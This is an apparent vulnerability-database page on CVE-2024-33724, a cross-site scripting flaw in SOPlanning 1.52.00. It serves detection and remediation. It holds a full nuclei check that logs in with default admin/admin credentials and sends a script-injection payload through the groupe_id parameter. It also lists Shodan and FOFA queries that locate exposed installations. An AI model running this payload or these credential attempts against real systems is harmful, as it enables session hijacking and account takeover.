HexBrain

Browse / CVEs / CVE-2024-33724

CVE-2024-33724· soplanning / soplanning

SOPlanning 1.52.00 Cross Site Scripting

mediumseverity
0.6%likelihood of exploitation, next 30 days
51%of all CVEs are less likely
Readycheck to confirm it

SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.

Impact

Authenticated attackers can inject malicious scripts via the groupe_id parameter, potentially hijacking admin or user sessions.

Fix

Update SOPlanning to a version that patches the XSS vulnerability.

How to confirm it

Send: POST /process/login.php ; GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New
Positive when: status_code_2 == 200 and contains_all(body_2, "<script>alert(document.domain)</script>", "SOPlanning")

Run it with nuclei: nuclei -id CVE-2024-33724 -u <target>

The full check
id: CVE-2024-33724

info:
  name: SOPlanning 1.52.00 Cross Site Scripting
  author: s4e-io
  severity: medium
  description: |
    SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.
  impact: |
    Authenticated attackers can inject malicious scripts via the groupe_id parameter, potentially hijacking admin or user sessions.
  remediation: |
    Update SOPlanning to a version that patches the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/178434/SOPlanning-1.52.00-Cross-Site-Scripting.html
    - https://github.com/fuzzlove/soplanning-1.52-exploits
  metadata:
    verified: true
    max-request: 2
    vendor: soplanning
    product: soplanning
    shodan-query:
      - html:"soplanning"
      - http.html:"soplanning"
    fofa-query: body="soplanning"
  tags: packetstorm,cve,cve2024,authenticated,soplanning,xss,vuln

http:
  - raw:
      - |
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

      - |
        GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    attack: pitchfork

    payloads:
      username:
        - admin
      password:
        - admin

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "SOPlanning")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from